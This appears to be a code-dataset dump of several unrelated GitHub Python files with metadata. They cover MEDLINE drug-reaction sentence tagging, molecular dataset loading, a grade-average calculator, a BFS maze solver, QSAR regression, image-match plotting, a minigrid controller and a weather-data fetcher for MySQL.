"models.List", "line_number": 35, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 38, "usage_type": "call"}, {"api_name": "models.List.objects.get", "line_number": 41, "usage_type": "call"}, {"api_name": "models.List.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "models.List", "line_number": 41, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 44, "usage_type": "call"}, {"api_name": "models.revenue.objects.all", "line_number": 51, "usage_type": "call"}, {"api_name": "models.revenue.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "models.revenue", "line_number": 51, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 58, "usage_type": "call"}]} {"seq_id": "22851576035", "text": "import json\n\nfrom typing import Dict\nfrom typing import List\nfrom typing import Set\n\nfrom collections import Counter\nfrom dataclasses import dataclass\nfrom dataclasses import field\n\nfrom nltk.tokenize import sent_tokenize\n\nfrom src.models.medl_sent_struct import SentenceStructure\n\n\n@dataclass\nclass MedlineTagStatistic:\n total_tagged_sents: int = 0\n total_article: int = 0\n total_article_sents: int = 0\n total_title_sents: int = 0\n total_abstract_sents: int = 0\n tagged_title_sents: int = 0\n tagged_abstract_sents: int = 0\n total_drug_names: Counter = field(default_factory=Counter)\n tagged_drug_names: Counter = field(default_factory=Counter)\n total_reactions: Counter = field(default_factory=Counter)\n tagged_reactions: Counter = field(default_factory=Counter)\n tagged_drug_reaction_pairs: Counter = field(default_factory=Counter)\n\n def __iadd__(self, other):\n self.total_article += other.total_article\n self.total_tagged_sents += other.total_tagged_sents\n self.total_article_sents += other.total_article_sents\n self.total_title_sents += other.total_title_sents\n self.total_abstract_sents += other.total_abstract_sents\n self.tagged_title_sents += other.tagged_title_sents\n self.tagged_abstract_sents += other.tagged_abstract_sents\n self.total_drug_names += other.total_drug_names\n self.tagged_drug_names += other.tagged_drug_names\n self.total_reactions += other.total_reactions\n self.tagged_reactions += other.tagged_reactions\n self.tagged_drug_reaction_pairs += other.tagged_drug_reaction_pairs\n return self\n\n def clear_all(self):\n self.total_drug_names.clear()\n self.tagged_drug_names.clear()\n self.total_reactions.clear()\n self.tagged_reactions.clear()\n self.tagged_drug_reaction_pairs.clear()\n self.total_tagged_sents = 0\n self.total_article = 0\n self.total_article_sents = 0\n self.total_title_sents= 0\n self.total_abstract_sents = 0\n self.tagged_title_sents = 0\n self.tagged_abstract_sents = 0\n\n def write_all(\n self, file_name: str,\n file_path: str = \"data/statistic/tag_stats/\"):\n with open(file_path + file_name, \"w\") as json_file:\n json.dump(self.__dict__, json_file, indent=2)\n\n\nclass MedlineTagger:\n\n def __init__(\n self, drugnames: Set[str], reactions: Dict[str, List[List[str]]],\n tag_targed_path: str = \"data/tagged_sentences/\"\n ):\n self.drugnames = drugnames\n self.reactions = reactions\n self.tag_stat = MedlineTagStatistic()\n self.tag_target_path = tag_targed_path\n\n def tag_article(\n self, pmid: str, title: str, abstract: str\n ) -> List[SentenceStructure]:\n tagged_sents = []\n tokenized_title = [\n sent for sent in sent_tokenize(title)\n ]\n self.tag_stat.total_title_sents += len(tokenized_title)\n\n tokenized_abstract = [\n sent for sent in sent_tokenize(abstract)\n ]\n self.tag_stat.total_abstract_sents += len(tokenized_abstract)\n self.tag_stat.total_article_sents += (\n len(tokenized_title) +\n len(tokenized_abstract)\n )\n\n for sentence in tokenized_title:\n try:\n pmid = int(pmid)\n except ValueError:\n print(f\"WARNING: Could not convert pmid '{pmid}' into int\")\n tagged_sentence = SentenceStructure(pmid, sentence, \"title\")\n tagged_sentence.tag_all(self.drugnames, self.reactions)\n if tagged_sentence.contains_drug_and_reaction():\n tagged_sents.append(tagged_sentence)\n\n for sentence in tokenized_abstract:\n try:\n pmid = int(pmid)\n except ValueError:\n print(f\"WARNING: Could not convert pmid '{pmid}' into int\")\n tagged_sentence = SentenceStructure(pmid, sentence, \"abstract\")\n tagged_sentence.tag_all(self.drugnames, self.reactions)\n self.count_total_drug_names(tagged_sentence)\n self.count_total_reactions(tagged_sentence)\n if tagged_sentence.contains_drug_and_reaction():\n self.tag_stat.total_tagged_sents += 1\n if tagged_sentence.text_type == \"abstract\":\n self.tag_stat.tagged_abstract_sents += 1\n else:\n self.tag_stat.tagged_title_sents += 1\n\n tagged_sents.append(tagged_sentence)\n self.count_tagged_drug_names_reactions(tagged_sentence)\n\n return tagged_sents\n\n def count_total_drug_names(self, tagged_sentence: SentenceStructure):\n if tagged_sentence.drug_entities:\n for drug in tagged_sentence.drug_entities:\n self.tag_stat.total_drug_names[drug] += 1\n\n def count_total_reactions(self, tagged_sentence: SentenceStructure):\n if tagged_sentence.reactions:\n for reaction in tagged_sentence.reactions:\n self.tag_stat.total_reactions[reaction] += 1\n\n def count_tagged_drug_names_reactions(\n self, tagged_sentence: SentenceStructure):\n for drug in tagged_sentence.drug_entities:\n self.tag_stat.tagged_drug_names[drug] += 1\n for reaction in tagged_sentence.reactions:\n self.tag_stat.tagged_drug_reaction_pairs[\n f\"({drug}, {reaction})\"] += 1\n for reaction in tagged_sentence.reactions:\n self.tag_stat.tagged_reactions[reaction] += 1\n\n def tag_medline_file_articles(\n self, file_name: str, path: str = \"data/pubmed_json/\"):\n with open(path + file_name, \"r\") as json_file:\n medline_data = json.load(json_file)\n self.tag_stat.clear_all()\n\n tagged_sents = []\n\n for article in medline_data:\n self.tag_stat.total_article += 1\n pmid = str(article[\"pmid\"])\n title = article[\"title\"]\n abstract = article[\"abstract\"]\n if title and abstract:\n tagged_article_sents = self.tag_article(\n pmid=pmid, title=title, abstract=abstract)\n tagged_sents.extend(tagged_article_sents)\n tagged_sents = [sent.to_dict() for sent in tagged_sents]\n with open(\n self.tag_target_path + \"tagged_\" + file_name, \"w\") as json_file:\n json.dump(tagged_sents, json_file, indent=2)\n self.tag_stat.write_all(\"tag_stat_\" + file_name)\n self.tag_stat.clear_all()\n\n\ndef parse_sents(\n start_index: int = 1,\n end_index: int = 2,\n react_dict_path: str = \"data/knowledge_base/reactions_dict.json\",\n drug_name_file_path: str = \"data/knowledge_base/\"\n \"drug_names_suffix_filtered.json\",\n output_path_base: str = \"pubmed21n{}.json\",\n json_src_path: str = \"data/pubmed_json/\"\n):\n with open(\n react_dict_path, \"r\"\n ) as json_file:\n sorted_reactions = json.load(json_file)\n print(\"reactions keys:\", sorted_reactions.keys())\n with open(\n drug_name_file_path, \"r\"\n ) as json_file:\n drug_names = set(json.load(json_file))\n print(\"number drug_names:\", len(drug_names))\n\n\n medline_tagger = MedlineTagger(\n drugnames=drug_names, reactions=sorted_reactions)\n\n for medl_file_number in range(start_index, end_index):\n s_i = str(medl_file_number)\n zeros = \"0\" * (4 - len(s_i))\n medl_file = output_path_base.format(zeros + s_i)\n\n medline_tagger.tag_medline_file_articles(\n medl_file, path=json_src_path\n )\n\n\n", "repo_name": "gsus84/distsupvis_adr", "sub_path": "src/medline_preprocessing/medl_sent_parse.py", "file_name": "medl_sent_parse.py", "file_ext": "py", "file_size_in_byte": 7709, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.Counter", "line_number": 25, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 25, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 26, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 26, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 27, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 27, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 28, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 28, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 29, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 29, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 64, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 70, "usage_type": "name"}, {"api_name": "nltk.tokenize.sent_tokenize", "line_number": 83, "usage_type": "call"}, {"api_name": "nltk.tokenize.sent_tokenize", "line_number": 88, "usage_type": "call"}, {"api_name": "src.models.medl_sent_struct.SentenceStructure", "line_number": 101, "usage_type": "call"}, {"api_name": "src.models.medl_sent_struct.SentenceStructure", "line_number": 111, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 80, "usage_type": "name"}, {"api_name": "src.models.medl_sent_struct.SentenceStructure", "line_number": 80, "usage_type": "name"}, {"api_name": "src.models.medl_sent_struct.SentenceStructure", "line_number": 127, "usage_type": "name"}, {"api_name": "src.models.medl_sent_struct.SentenceStructure", "line_number": 132, "usage_type": "name"}, {"api_name": "src.models.medl_sent_struct.SentenceStructure", "line_number": 138, "usage_type": "name"}, {"api_name": "json.load", "line_number": 150, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 167, "usage_type": "call"}, {"api_name": "json.load", "line_number": 184, "usage_type": "call"}, {"api_name": "json.load", "line_number": 189, "usage_type": "call"}]} {"seq_id": "25586765434", "text": "# -*- coding: utf-8 -*-\n# ====================================== #\n# @Author : Yanbo Han\n# @Email : yanbohan98@gmail.com\n# @File : xtbgraddataset.py\n# ALL RIGHTS ARE RESERVED UNLESS STATED.\n# ====================================== #\n# -*- coding: utf-8 -*-\n# ====================================== #\n# @Author : Yanbo Han\n# @Email : yanbohan98@gmail.com\n# @File : xtbxyzdataset.py\n# ALL RIGHTS ARE RESERVED UNLESS STATED.\n# ====================================== #\nfrom multiprocessing import cpu_count\n\nfrom lightMolNet.datasets.LitDataSet import LitDataSet\nfrom lightMolNet.datasets.xtbdatadb import XTBDataDB\n\n\n\nclass XtbGradDataSet(LitDataSet):\n def __init__(\n self,\n dbpath=None,\n xyzfiledir=None, #\n atomref=None,\n batch_size=10,\n num_workers=cpu_count(),\n pin_memory=False,\n statistics=True,\n valshuffle=False,\n proceed=False,\n **kwargs\n ):\n super().__init__(\n dbpath=dbpath,\n atomref=atomref,\n batch_size=batch_size,\n num_workers=num_workers,\n pin_memory=pin_memory,\n statistics=statistics,\n valshuffle=valshuffle,\n **kwargs\n )\n self.xyzfiledir = xyzfiledir\n self.proceed = proceed\n\n def prepare_data(self, stage=None, **kwargs):\n self.dataset = XTBDataDB(dbpath=self.dbpath,\n xtbjsonfiledir=self.xyzfiledir,\n refatom=self.atomref,\n proceed=self.proceed,\n **kwargs\n )\n", "repo_name": "saltball/lightMolNet", "sub_path": "src/lightMolNet/datasets/LitDataSet/xtbgraddataset.py", "file_name": "xtbgraddataset.py", "file_ext": "py", "file_size_in_byte": 1702, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lightMolNet.datasets.LitDataSet.LitDataSet", "line_number": 22, "usage_type": "name"}, {"api_name": "multiprocessing.cpu_count", "line_number": 29, "usage_type": "call"}, {"api_name": "lightMolNet.datasets.xtbdatadb.XTBDataDB", "line_number": 50, "usage_type": "call"}]} {"seq_id": "37019636513", "text": "from statistics import harmonic_mean\n\n\ndef calcular_media(nota_1, nota_2, nota_3, tipo_media): # três valores numéricos e um carácter\n \"\"\"\n Função que calcula uma média aritmética, ponderada ou harmônica.\n :param nota_1: Entrada com a primeira nota.\n :param nota_2: Entrada com a segunda nota.\n :param nota_3: Entrada com a terceira nota.\n :param tipo_media: Entrada com o tipo que será calculada a média.\n :return: Retorna a média.\n \"\"\"\n if tipo_media == 'a': # média aritmética.\n media_aritmetica = (nota_1 + nota_2 + nota_3) / 3\n print('Média aritmética: ', end='')\n return media_aritmetica\n\n elif tipo_media == 'p': # média ponderada com pesos 5, 3 e 2.\n media_ponderada = (5 * nota_1 + 3 * nota_2 + 2 * nota_3) / 10\n print('Média ponderada: ', end='')\n return media_ponderada\n\n elif tipo_media == 'h': # média harmônica.\n print('Média harmônica: ', end='')\n media_harmonica = harmonic_mean([nota_1, nota_2, nota_3])\n return media_harmonica\n\n\nwhile True: # Inicialização do laço infinito.\n print('---- Calculador De Média ----', end='\\n\\n')\n print(\"- TIPOS DE MÉDIAS -\\n[A] - ARITMÉTICA \\n[P] - PONDERADA \\n[H] - HARMÔNICA\")\n print('-' * 27)\n\n try: # Faz uma tentativa de conversão das notas para float.\n # Escolher a média\n tipo = ' '\n while tipo not in 'aph':\n tipo = str(input('Sua escolha [A, P ou H]: ')).lower().strip()\n print('-' * 27)\n\n # Notas\n priNota = float(input('Informe a primeira nota: '))\n segNota = float(input('Informe a segunda nota: '))\n terNota = float(input('Informe a terceira nota: '))\n\n # verifica se as notas estão entre 0 e 10, caso não estejam, mostrará um erro.\n if (priNota < 0 or priNota > 10) or (segNota < 0 or segNota > 10) or (terNota < 0 or terNota > 10):\n print('-' * 27)\n print('\\033[31mERRO: Informe valores entre 0 e 10!\\033[m')\n continue\n\n except ValueError: # Caso haja um erro na tentativa, mostrará um erro.\n print('-' * 27)\n print('\\033[31mERRO: Informe um valor flutuante!\\033[m')\n\n else: # Caso a tentativa for realizada com sucesso.\n print('-' * 27)\n print(f'{calcular_media(priNota, segNota, terNota, tipo):.2f}') # chamada da função\n print('-' * 27)\n\n parar = ' '\n while parar not in 'sn':\n parar = str(input('Deseja parar [s ou n]? ')).lower().strip() # parar o programa\n if parar == 's':\n break\n\n print()\n", "repo_name": "jadsonbrasiliano/trabalhos", "sub_path": "calcular-média/Médias.py", "file_name": "Médias.py", "file_ext": "py", "file_size_in_byte": 2621, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "statistics.harmonic_mean", "line_number": 25, "usage_type": "call"}]} {"seq_id": "27669809890", "text": "\n# p.154\n\n# N*M graph에 탈출구는 (N, M)\nn, m = map( int, input().split() )\n\ngraph = []\n\nfor i in range(n) :\n graph.append( list( map( int, input() ) ) )\n\n\n# 노드 정보는 x, y\n# 상 하 좌 우\ndx = [0, 0, -1, 1]\ndy = [1, -1, 0, 0]\n\n#visited = [[False]*m for _ in range(n) ] \n\nfrom collections import deque\n\ndef bfs ( x, y ) :\n\n queue = deque()\n queue.append((x, y))\n\n while queue :\n a, b = queue.popleft()\n \n for i in range(4) :\n nx = a + dx[i]\n ny = b + dy[i]\n\n if nx < 0 or nx > n-1 or ny < 0 or ny > m-1 :\n continue\n\n if graph[nx][ny] == 0 :\n continue\n\n if graph[nx][ny] == 1 :\n graph[nx][ny] = graph[a][b] + 1\n queue.append((nx, ny))\n\n # bfs를 이해하기 위함\n for i in graph :\n print(i)\n print('\\n')\n \n return graph[n-1][m-1]\n\nprint(bfs(0, 0))\n\n\n \n\n\n\n\n", "repo_name": "JinnyHwang/2023_Study_backup", "sub_path": "python_study_file_backup/python/20210413/미로 탈출.py", "file_name": "미로 탈출.py", "file_ext": "py", "file_size_in_byte": 1013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.deque", "line_number": 24, "usage_type": "call"}]} {"seq_id": "32340836123", "text": "import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import r2_score\nfrom rdkit import Chem\n\ndef loadAugData():\n \"\"\"load data from desc_canvas_aug30 dataset\"\"\"\n augData=pd.read_csv('../datasets/desc_canvas_aug30.csv')\n columns=augData.columns\n augDataTrain=augData[augData['Model']=='Train']\n augDataTrainX=augDataTrain[columns[5:-1]]\n augDataTrainY=augDataTrain[columns[4]]\n augDataTest=augData[augData['Model']=='Test']\n augDataTestX=augDataTest[columns[5:-1]]\n augDataTestY=augDataTest[columns[4]]\n augDataValid=augData[augData['Model']=='Valid']\n augDataValidX=augDataValid[columns[5:-1]]\n augDataValidY=augDataValid[columns[4]]\n return np.array(augDataTrainX), np.array(augDataTrainY), np.array(augDataTestX), np.array(augDataTestY), \\\n np.array(augDataValidX), np.array(augDataValidY)\n\ndef loadTox21SmilesData():\n \"\"\"load data from Tox21 dataset where only smiles format and the aim property is extracted\"\"\"\n tox21=pd.read_csv('../datasets/tox21_train.csv')\n smileses=np.array(tox21['smiles'])\n properties=np.array(tox21['NR-AR'])\n return smileses, properties\n\ndef loadEsolSmilesData():\n \"\"\"load data from ESOL dataset where only smiles format and the aim is extracted\"\"\"\n esol=pd.read_csv('../datasets/delaney-processed.csv')\n smileses=np.array(esol['smiles'])\n smilesSplit=[]\n # smilesDict=dict()\n for smiles in smileses:\n smilesLength=len(smiles)\n nameStr=[]\n index=0\n while index='A' and tempAlpha<='Z':\n anotherAlpha=smiles[index+1]\n if anotherAlpha==' ': # error, need cleaning\n index+=1\n continue\n if anotherAlpha>='a' and anotherAlpha<='z':\n elements=['He','Li','Be','Na','Br','Cl']\n if smiles[index:index+2] in elements:\n tempAlpha+=anotherAlpha\n index+=1\n nameStr.append(tempAlpha)\n index+=1\n smilesSplit.append(nameStr)\n # print(smilesSplit)\n properties=np.array(esol['measured log solubility in mols per litre'])\n return np.array(smileses), properties\n\nif __name__=='__main__':\n # loadEsolSmilesData()\n trainX,trainY,testX,testY,valX,valY=loadAugData()\n from sklearn.linear_model import LinearRegression\n from sklearn.ensemble import RandomForestRegressor\n tempRegressor=RandomForestRegressor(n_estimators=200,max_features='log2',verbose=True,n_jobs=2)\n tempRegressor.fit(testX,testY)\n pred=tempRegressor.predict(trainX)\n valScore=r2_score(trainY,pred)\n print(valScore)\n plt.scatter(trainY,pred); plt.show()\n", "repo_name": "sheMnapion/AI-QSAR", "sub_path": "SMILES_RNN/dataProcess.py", "file_name": "dataProcess.py", "file_ext": "py", "file_size_in_byte": 2808, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 69, "usage_type": "call"}]} {"seq_id": "17795306774", "text": "from matplotlib import pyplot as plt\nfrom util import gray\nimport io\n\ndef plot_results (img, results, images, web = None):\n# results is a list of (index, score) tuples sorted by descending score, eg [(1, 100), (0, 0.7), (2, 15.6)]\t\n\n\t# create plot of original image and best matches \n\tfig, ax = plt.subplots(nrows=2, ncols=6, figsize=(32, 32),sharex=False, sharey=False)\n\t( (ax1, ax2, ax3, ax4, ax5, ax6), (ax7, ax8, ax9, ax10, ax11, ax12) ) = ax\n\tresult_cells = [ax3, ax4, ax5, ax6, ax9, ax10, ax11, ax12]\n\n\t# result_cells = []\n\t# fig, ax = plt.subplots(ncols=6, nrows=2)\n\n\tgs = ax[1,2].get_gridspec()\n\tax1.remove()\n\tax2.remove()\n\tax7.remove()\n\tax8.remove()\n\tax1 = fig.add_subplot(gs[0:2, 0:2])\n\n\t# fig7, f7_axs = plt.subplots(ncols=3, nrows=3)\n # gs = f7_axs[1, 2].get_gridspec()\n\t# # remove the underlying axes\n\t# for ax in f7_axs[1:, -1]:\n # \tax.remove()\n\t\n\tax1.imshow(gray(img), cmap=plt.cm.gray)\n\tax1.set_title('Query Image', fontsize=20, y = 1.0)\n\n\t# im_inx = 0\n\t# for i in ax[]:\n\t# \tfor j in i:\n\t# \t\tif im_inx >= len(images):\n\t# \t\t\tbreak\n\t# \t\tj.imshow(gray(images[results[im_inx][0]]), cmap=plt.cm.gray)\n\t# \t\tj.set_xlim([0,32])\n\t# \t\tj.set_ylim([32,0])\n\t# \t\tj.set_title('match score: ' + '%.1f'%(results[im_inx][1]), fontsize=20, y = 1.0)\n\t# \t\tim_inx += 1\n\n\tfor c_inx in range(len(result_cells)):\n\t\tif c_inx >= len(images):\n\t\t\tbreak\n\t\tresult_cells[c_inx].imshow(gray(images[results[c_inx][0]]), cmap=plt.cm.gray)\n\t\tresult_cells[c_inx].set_xlim([0,32])\n\t\tresult_cells[c_inx].set_ylim([32,0])\n\t\tresult_cells[c_inx].set_title('match score: ' + '%.1f'%(results[c_inx][1]), fontsize=20, y = 1.0)\n\t\n\t# maximize the window and display plots \n\tfig.tight_layout()\n\t#mng = plt.get_current_fig_manager()\n\t#mng.window.state('zoomed')\t\n\tif not web:\n\t\tplt.show()\n\telse:\n\t\trimg = io.BytesIO()\n\t\tplt.savefig(rimg)\n\t\trimg.seek(0)\n\t\treturn rimg\n\ndef percentify(a,n):\n\treturn [[j/n for j in i] for i in a]\n \ndef log_results ( index, mutation, combined_method, method1, method2, method3=[], method4=[], avg_rankings=[], top5=[], top10=[], n=1):\n\tavg_rankings = percentify(avg_rankings, n)\n\ttop5 = percentify(top5, n)\n\ttop10 = percentify(top10, n)\n\n\tlogger = logging.getLogger()\n\tfhandler = logging.FileHandler(filename='./Logs/query_' + str(image_index) + '.log', mode='a')\n\tif (logger.hasHandlers()):\n\t\tlogger.handlers.clear()\n\tlogger.addHandler(fhandler)\n\tlogger.setLevel(logging.DEBUG)\n\taberrs = [\"ab_identity\",\"ab_translate\", \"ab_rotate\",\"ab_affine\",\"ab_scale\",\"ab_flip\",\"ab_line\",\"ab_circle\", \"ab_line_circle\",\"ab_two_line_circle\"]\n\tfor ab_index in range(10):\n\t\tlogging.info(\"Aberration: %s\", aberrs[ab_index])\n\t\n\t\tlogging.info(\"Avg Rankings: %s\", avg_rankings[ab_index])\n\t\tlogging.info(\"Top5 accuracy: %s\", top5[ab_index])\n\t\tlogging.info(\"Top10 accuracy: %s\", top10[ab_index])\n\tprint(\"logging results\")\n\tprint(avg_rankings)\n\tprint(top5)\n\tprint(top10)\n \n\tlogging.shutdown()", "repo_name": "kac123/Icon-Matching-Project", "sub_path": "gcloudtest/plotter.py", "file_name": "plotter.py", "file_ext": "py", "file_size_in_byte": 2877, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "util.gray", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 29, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "util.gray", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 46, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}]} {"seq_id": "73690585824", "text": "import logging\nfrom offline_rl.gym_minigrid import fourroom_controller\nfrom offline_rl.gym_minigrid.envs import fourrooms\nimport numpy as np\nimport pickle\nimport gzip\nimport h5py\nimport argparse\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--num_episodes', type=int, default=100, help='Num trajs to collect')\n args = parser.parse_args()\n\n np.random.seed(0)\n\n env = fourrooms.FourRoomsEnv()\n env.seed(0)\n controller = fourroom_controller.FourRoomController()\n controller.set_target(env.get_target())\n\n ravg = []\n for _ in range(args.num_episodes):\n s = env.reset()\n returns = 0\n for t in range(50):\n act, done = controller.get_action(env.agent_pos, env.agent_dir) \n ns, rew, _, _ = env.step(act)\n returns += rew\n ravg.append(returns)\n print('returns', np.mean(ravg))\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Farama-Foundation/D4RL", "sub_path": "scripts/reference_scores/minigrid_controller.py", "file_name": "minigrid_controller.py", "file_ext": "py", "file_size_in_byte": 927, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1058, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 16, "usage_type": "attribute"}, {"api_name": "offline_rl.gym_minigrid.envs.fourrooms.FourRoomsEnv", "line_number": 18, "usage_type": "call"}, {"api_name": "offline_rl.gym_minigrid.envs.fourrooms", "line_number": 18, "usage_type": "name"}, {"api_name": "offline_rl.gym_minigrid.fourroom_controller.FourRoomController", "line_number": 20, "usage_type": "call"}, {"api_name": "offline_rl.gym_minigrid.fourroom_controller", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 32, "usage_type": "call"}]} {"seq_id": "2339798889", "text": "import requests\nimport sys\nimport datetime\nimport logging, configparser\nfrom dbHelper import mysqlController\nfrom datetime import timedelta\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nlogging.basicConfig(format='%(asctime)s %(levelname)s:%(message)s', filename='debug.log', filemode='w', level=logging.DEBUG)\nconfig = configparser.ConfigParser()\nconfig.read('./config.ini')\nmc = mysqlController() ##initialize connection to db\n\n\ndef fetchUrlDataJson(url):\n response = requests.request(\"GET\", url, verify=False)\n return response.json()\n\n# get location half-an-hour basis\n# to restrict duplicate entry composite PK set - (date, time and location_id)\ndef getLocationDataHourly(from_date=None, to_date=None):\n if from_date is None or to_date is None:\n # today's date and yesterday's date. Trying to get the data from yesterday to today. As sometimes we don't get immediately for all the locations.\n from_date = datetime.datetime.now().date() - timedelta(days = 1)\n to_date = datetime.datetime.now().date()\n elif from_date > to_date:\n logging.error(f\"From date can't be greater than to date.\")\n sys.exit()\n try:\n table_name = config['tables']['location_raw_data_half_hour']\n url = config['fetchurls']['LOCATION_DATA_HALF_AN_HOUR_URL']\n location_table_name = config['tables']['location']\n # fetch location data\n location_rows = mc.fetch_from_table(location_table_name)\n # for each row fetch location data half an hour basis\n for row in location_rows:\n loc_id = row[0]\n finalUrl = \"{0}?loc_id={1}&from={2}&to={3}\".format(url, loc_id, from_date, to_date)\n response_json = fetchUrlDataJson(finalUrl)\n response_rawdata = response_json['rawdata']\n # # write to db\n logging.info(\"Data insertion started for - {0} - Loc_id:{1}\".format(table_name, loc_id))\n for data in response_rawdata:\n data[\"location_id\"] = loc_id # set location id\n data[\"date\"] = datetime.datetime.strptime(data[\"date\"], \"%d-%m-%Y\").date() #date parse\n mc.insert_into_table(table_name, data)\n logging.info(\"Data insertion done for - {0}\".format(table_name))\n except Exception as e:\n logging.error('Error in get location half-an-hour basis')\n logging.error(e)\n\nif __name__ == \"__main__\":\n cmd_arg_count = len(sys.argv)\n if cmd_arg_count > 1:\n from_date = sys.argv[1]\n to_date = sys.argv[2]\n from_date_formatted = datetime.datetime.strptime(from_date, '%d-%m-%Y').date()\n to_date_formatted = datetime.datetime.strptime(to_date, '%d-%m-%Y').date()\n getLocationDataHourly(from_date,to_date)\n else:\n getLocationDataHourly()\n", "repo_name": "sairasmi/api_integration", "sub_path": "weather_data_fetch_hourly.py", "file_name": "weather_data_fetch_hourly.py", "file_ext": "py", "file_size_in_byte": 2787, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "warnings.filterwarnings", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 11, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 12, "usage_type": "call"}, {"api_name": "dbHelper.mysqlController", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 52, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 58, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 59, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 60, "usage_type": "call"}, {"api_name": 